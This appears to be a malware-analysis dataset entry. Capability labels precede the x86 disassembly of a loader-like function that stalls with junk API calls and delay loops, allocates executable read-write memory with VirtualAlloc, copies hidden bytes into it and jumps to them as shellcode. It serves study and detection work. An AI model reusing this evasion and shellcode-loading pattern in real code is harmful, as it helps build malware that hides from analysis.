Function at 0x404d20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Get hostname
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x404d4a
inc esi
cmp esi, 0x73f04bd
jl 0x404d36
cmp dword [0x45a8c4], 0x400
jne 0x404dbc
push ebx
lea eax, [ebp - 0x828]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
call fcn.0040571a
add esp, 4
push ebx
push ebx
call fcn.00405b7a
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004053f0
fstp st(0)
push ebx
push ebx
call fcn.00405a39
push ebx
call fcn.00405d95
add esp, 0xc
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405a60
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004053d0
fstp st(0)
add esp, 0x10
cmp dword [0x45a8c4], 0x93
jne 0x404e33
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0x404800
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.004058e8
add esp, 4
push ebx
push ebx
call fcn.00405917
add esp, 8
call fcn.00404d10
fldz
push ebx
sub esp, 8
fstp qword [esp]
call fcn.00405519
fstp st(0)
add esp, 0xc
mov eax, dword [0x45a8c4]
mov edx, dword [0x44ece4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x45b700], edx
mov dword [0x45a8c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x45a354], eax
mov esi, 0x1692e
lea ecx, [ecx]
call edi
sub esi, 1
jne 0x404e70
cmp dword [0x45a8c4], ebx
jbe 0x404ed8
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
jmp 0x404e90
mov eax, dword [0x45b700]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x45a354]
mov byte [edx + esi], cl
cmp dword [0x45a8c4], 0x490
jne 0x404ecd
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call edi
lea ecx, [ebp - 0xc]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call ebx
inc esi
cmp esi, dword [0x45a8c4]
jb 0x404e90
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov eax, dword [0x45a8c4]
add eax, esi
cmp eax, 0x8d
jne 0x404f1b
push 0
lea ecx, [ebp - 0x428]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x404ee6
call fcn.00404bf0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404f4b
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x404f5c
inc esi
cmp esi, 0x67d12
jl 0x404f37
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x404f82
mov dword [ebp - 8], 0
add dword [ebp - 8], 0x4a8f
mov eax, dword [ebp - 8]
add dword [0x45a354], eax
inc esi
cmp esi, 0x674bd
jl 0x404f64
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalWire]
mov dword [ebp - 4], 0x7b
cmp dword [0x45a8c4], 0x86
jne 0x404fda
push 0
call esi
push 0
lea ecx, [ebp - 0x828]
push ecx
push 0x404840
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x45a8c4], 0xf
jne 0x404fef
push 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x404fa4
call fcn.00404940
call dword [0x45a354]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret